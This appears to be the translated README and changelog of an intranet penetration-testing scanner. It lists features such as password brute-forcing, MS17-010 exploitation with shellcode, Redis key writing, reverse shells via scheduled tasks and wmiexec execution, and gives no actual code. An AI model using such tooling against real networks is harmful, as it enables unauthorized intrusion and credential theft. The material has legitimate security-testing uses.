1. Introduction

An intranet comprehensive scanning tool, which is convenient for automatic and omnidirectional missed scanning. It supports host survival detection, port scanning, explosion of common services, ms17010, Redis batch public key writing, planned task rebound shell, reading win network card information, web fingerprint identification, web vulnerability scanning, netbios detection, domain control identification and other functions.

2. Functions

1.Information collection:

• Survival detection(icmp)
• Port scanning

2.Blasting:

• Various service blasting(ssh、smb、rdp, etc.)
• Database password blasting(mysql、mssql、redis、psql、oracle, etc.)

3.System information, vulnerability scanning:

• Netbios detection, domain control identification
• Collect NIC information
• High Risk Vulnerability Scanning(ms17010, etc.)

4.Web detection:

• Webtitle detection
• Web fingerprinting (cms, oa framework, etc.)
• Web vulnerability scanning (weblogic, st2, etc., also supports xray poc)

5.Exploit:

• Write redis public key and scheduled tasks
• Excute ssh command
• Use the ms17017 vulnerability (implanted shellcode), such as adding users, etc.

6.Others:

• Save ouput result

10. Dynamics

[+] 2022/11/19 Add hash collision, wmiexec echo free command execution function
[+] 2022/7/14 Add -hf parameter, support host: port and host/xx: port formats, rule.Search regular matching range is changed from body to header+body, and -nobr no longer includes -nopoc. Optimize webtitle output format.
[+] 2022/7/6 Add manual gc recycling to try to save useless memory, -Urls support comma separation. Fix a poc module bug- Nobr no longer contains nopoc.
[+] 2022/7/2 Strengthen the poc fuzzy module to support running backup files, directories, shiro keys (10 keys by default, 100 keys with the -full parameter), etc.Add ms17017 (use parameter: -sc add), which can be used in ms17010 exp Go defines the shell code, and built-in functions such as adding users.
Add poc and fingerprint. Socks5 proxy is supported. Because the body fingerprint is more complete, the icon icon is no longer running by default.
[+] 2022/4/20 The poc module adds the specified directory or file -path poc path, the port can specify the file -portf port.txt, the rdp module adds the multi-threaded explosion demo, and -br xx specifies the thread.
[+] 2022/2/25 Add - m webonly to skip port scanning and directly access http. Thanks @ AgeloVito
[+] 2022/1/11 Add oracle password explosion.
[+] 2022/1/7 When scanning IP/8, each C segment gateway and several random IPs will be scanned by default. Recommended parameter: -h ip/8 -m icmp. The LiveTop function is added. When detecting the survival, the number of B and C segment IPs of top10 will be output by default.
